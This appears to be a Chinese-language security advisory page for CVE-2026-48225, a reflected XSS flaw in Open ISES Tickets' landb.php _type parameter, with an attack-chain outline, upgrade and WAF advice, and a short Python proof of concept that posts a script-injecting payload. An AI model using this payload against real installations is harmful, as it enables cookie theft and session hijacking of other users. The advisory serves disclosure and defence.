CVE-2026-48225 CVSS 5.4 中危

CVE-2026-48225 Open ISES Tickets反射型XSS漏洞

披露日期: 2026-05-21

来源: [email protected]

漏洞信息

漏洞编号

CVE-2026-48225

漏洞类型

跨站脚本攻击 (Reflected XSS)

CVSS评分

5.4 中危

攻击向量

网络 (AV:N)

认证要求

低权限 (PR:L)

用户交互

需要交互 (UI:R)

影响产品

Open ISES Tickets

漏洞概述

Open ISES Tickets在3.44.2之前的版本中存在反射型跨站脚本漏洞。该漏洞源于landb.php文件未对_type POST参数进行有效过滤，直接将其输出到HTML表单隐藏域的value属性中。已认证攻击者可构造恶意请求注入JavaScript代码，诱导受害者触发后执行脚本，可能导致Cookie窃取或会话劫持。

技术细节

该漏洞属于反射型跨站脚本攻击（Reflected XSS）。在Open ISES Tickets的landb.php页面处理逻辑中，服务器接收用户通过POST方式提交的_type参数，并将其未经任何安全编码（如HTML实体转义）直接嵌入到返回页面的HTML <input type="hidden" value="..."> 标签中。由于缺乏输出编码，攻击者可以构造形如 "><script>alert(1)</script> 的payload。当受害者浏览器渲染该响应页面时，双引号会闭合value属性，随后<script>标签将被解析执行。虽然该漏洞需要攻击者拥有低权限账户（PR:L）并进行一定的用户交互（UI:R）来诱导受害者访问，但一旦成功，攻击者即可在受害者浏览器上下文中执行任意代码，窃取敏感信息如Session ID，进而接管用户账户。

攻击链分析

STEP 1

侦察

攻击者确认目标系统使用的是Open ISES Tickets且版本低于3.44.2。

STEP 2

构造 payload

攻击者构造包含恶意JavaScript代码的payload，旨在闭合HTML属性并注入script标签。

STEP 3

发送请求

攻击者（需拥有低权限账户）向landb.php发送包含_type参数的恶意POST请求。

STEP 4

诱导交互

攻击者诱导已认证的受害者（如管理员）点击链接或提交表单，触发该恶意请求。

STEP 5

执行攻击

服务器返回未经过滤的响应，受害者浏览器解析并执行恶意脚本，导致Cookie泄露。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

import requests

# Target URL (Replace with actual target)
target_url = "http://example.com/landb.php"

# Malicious payload to inject JavaScript
# The payload closes the value attribute and adds a script tag
payload = '"><script>alert(document.cookie)</script>'

# POST data containing the vulnerable parameter
data = {
    "_type": payload
}

# Send the POST request
# Note: Authentication (cookie/session) may be required based on PR:L
try:
    response = requests.post(target_url, data=data)
    if response.status_code == 200:
        print("Request sent successfully.")
        print("Check the response source for the reflected payload.")
    else:
        print(f"Request failed with status code: {response.status_code}")
except Exception as e:
    print(f"An error occurred: {e}")

影响范围

Open ISES Tickets < 3.44.2

防御指南

临时缓解措施

建议立即将Open ISES Tickets升级到3.44.2或更高版本以修补此漏洞。如果无法立即升级，应部署Web应用防火墙（WAF）规则，拦截包含恶意脚本特征的POST请求。同时，管理员应提高安全意识，不要轻易点击来源不明的链接，并对关键管理操作进行多重身份验证。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表